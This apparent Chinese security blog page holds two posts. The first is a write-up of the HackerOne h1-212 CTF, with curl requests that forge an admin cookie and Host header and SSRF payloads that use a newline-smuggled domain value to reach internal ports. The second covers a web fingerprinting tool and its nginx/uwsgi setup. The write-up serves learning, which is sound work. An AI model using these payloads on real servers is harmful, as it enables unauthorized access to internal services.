Introduction
最近,在推特上看到了Hacker One举行的一个小CTF,很有意思,虽然我没有来得及在规定的时间去做一下当然,我也做不出来,对,我就是不太会CTF,看了很多个write-up每个人都有不同的思路,从各自不同的方法中自觉学到了不少东西

The h1-212 CTF

An engineer of acme.org launched a new server for a new admin panel at http://104.236.20.43/. He is completely confident that the server can’t be hacked. He added a tripwire that notifies him when the flag file is read. He also noticed that the default Apache page is still there, but according to him that’s intentional and doesn’t hurt anyone. Your goal? Read the flag!

关键点:acme.org admin-panel 104.236.20.43

首先访问104.236.20.43,印入眼帘的是apache的默认页面,我看到大部分writeup里第一步都是信息收集:
扫ip
Nmap scan report for 104.236.20.43
Host is up (0.058s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

扫目录
http://104.236.20.43/index.html
http://104.236.20.43/icons/README
http://104.236.20.43/flag

根据acme.org的提示,很多人用了scan.rb查找某个ip绑定的虚拟主机,也有直接在hosts文件里写入$ echo "104.236.20.43 admin.acme.org" >> /etc/hosts
也有用curl加入请求头的curl -H 'Host: admin.acme.org' 'http://104.236.20.43/'

curl -I admin.acme.org
HTTP/1.1 200 OK
Date: Thu, 16 Nov 2017 12:05:51 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: admin=no
Content-Type: text/html; charset=UTF-8

很明显是让我们去把cookie中的admin改为yes

curl admin.acme.org -b 'admin=yes'
HTTP/1.1 405 Method Not Allowed
Date: Thu, 16 Nov 2017 12:09:15 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=UTF-8

405 Method Not Allowed,把请求方法改为POST

curl -X POST -I -b 'admin=yes' 'admin.acme.org'
HTTP/1.1 406 Not Acceptable
Date: Thu, 16 Nov 2017 12:16:09 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8

是什么406错误呢,请求的格式不符合服务端要求的,这里需要尝试所有的可能,最后结果是application/json

curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"random" : "data"}' 'admin.acme.org' 
{"error":{"domain":"required"}}

curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"domain" : "admin.acme.org"}' 'admin.acme.org' 
{"error":{"domain":"incorrect value, .com domain expected"}}

curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"domain" : "213.acme.com"}' 'admin.acme.org' 
{"error":{"domain":"incorrect value, sub domain should contain 212"}}

curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"domain" : "213.acme.com"}' 'admin.acme.org' 
{“next":"\/read.php?id=0"}

curl -b 'admin=yes' 'http://admin.acme.org/read.php?id=0'
{"data":""}

到了这步很多人的反应是查看是否存在sqli,这个思路是正确的,不过在这里不存在,这时候很多人想到了提供一个网址可能会返回信息是否存在ssrf,域名的限制是212.*.com,找一个这样的网站测试一下。

curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"domain" : "212.tomnomnom.com"}' 'admin.acme.org' 
{"next":"\/read.php?id=2"}

curl -s -H'Host: admin.acme.org' -H'Cookie: admin=yes' http://104.236.20.43/read.php?id=2
{"data":"OikK"}

确认确实存在ssrf,思考如何绕过限制访问内网

通过内网域名
212.0000003.com:80/.com

使用\n进行多次请求
212.test.com\n127.0.0.1:22\n1234.com

之后对内网端口扫描一下,发现开放了1337,flag就存放在127.0.0.1:1337\flag下

总结
幸好之前及时复现了一下,在写这篇文章时已经无法访问了
通过这次CTF的学习,看到了大家的各种思路,也对ssrf稍微有了点了解,希望有机会自己也能参与其中。

0x00 简介
FingerScan是一款由python编写,使用nginx+uwsgi+flask搭建服务端,实现的简单指纹识别工具。目前仅能识别2000多种,前端界面也不够优美,功能有待提高。

0x01 技术
一般来说指纹识别技术包括以下几种:

  • 请求响应头
  • 请求响应体中特定数据(文件,内容)
  • 特殊文件

以广泛使用的wordpress为例:
响应头中存在以下的信息
Server:nginx/1.10.2
X-Powered-By:PHP/5.4.16

可以看出此网站有nginx+php构成

响应体中
< ... href='https://octfive.cn/wp-content/themes/flat/assets/css/flat.min.css?ver=1.7.8'... />
< ... href='https://octfive.cn/wp-content/themes/flat/style.css?ver=4.8.3'... />

/wp-content/为wordpress特有,ver=4.8.3甚至能识别出特定的版本信息

而在wordpress中一般会有如下特定的文件:
https://octfive.cn/wp-login.php
https://octfive.cn/xmlrpc.php

有的网站则会有相同的favicon文件,对比响应md5可以判别是否为相同的服务

综合以上信息能够大体的得出一个网站相当多的构建信息,在安全中的意义就是能够对症下药。
比如知道是使用wordpress就可以去wordpress最新的相关漏洞来进行测试,节省时间的同时也能提高准确性。

在指纹识别中最重要的就是相关识别规则的收集,我在这里使用的别人已经收集好的fofa的指纹库,对原始数据进行一定的处理之后,便于python直接处理,但是牺牲逻辑运算的功能,后续版本可能会完善相关功能。下一步的计划是爬取zoomeye的相关规则并且整合,希望能做到识别更多更准。

0x02 在线执行
由于在网页端执行比较方便,而且功能相对比较简单,并没有太多复杂运算或是需要大量带宽等耗费时间与资源的操作,把此工具放在服务器是十分合适的,并且我以后总会遇到需要把python与网页相结合的情况,因此学习了一下如何通过uwsgi实现此功能。

首先需要在服务器上安装uwsgi
pip install uwsgi

配置nginx

server {
        listen 80;
        server_name fingerprint.octfive.cn;
        root        /var/www/fingerprint;

        location / {
            include uwsgi_params;
            uwsgi_pass 127.0.0.1:5000;
            uwsgi_param UWSGI_CHDIR  /var/www/fingerprint; # 指向网站根目录
            uwsgi_param UWSGI_SCRIPT web:app; # 指定启动程序
        }
    }

配置uswgi

module = web

callable = app
master = true
processes = 3

socket = 127.0.0.1:5000
chmod-socket = 660
vacuum = true

重启nginx
nginx -t
service nginx restart

启动uwsgi
uwsgi --ini config.ini -d web.log
注意:务必指定日志文件否则可能会输出在命令行
关闭uwsgi
killall -9 uwsgi

0x03 总结
距离上次更新已经很久了,这次的文章也没有太多内容就是从其他项目里抽出一个功能,做成了网页的形式,总共也就一两天的工作量。其实还有一篇还安静的呆在草稿里 希望下次能多写一些有技术含量的文章。其实我也想过翻译一些twitter上medium上老外写的挺好的文章,但是我想了想我都看完了,在翻译成中文对自己的提升也不太大,要说对英语方面的帮助还是多背背单词吧。

大三日程过半,12,14周考完试后可以预见时间较多,那个时候把毕业设计写个小的框架出来,再利用一下最近自己一直在升级的新的工具突然觉得还能再写个文章,看看能不能再找几个漏洞出来,这些基本上是我的目标了。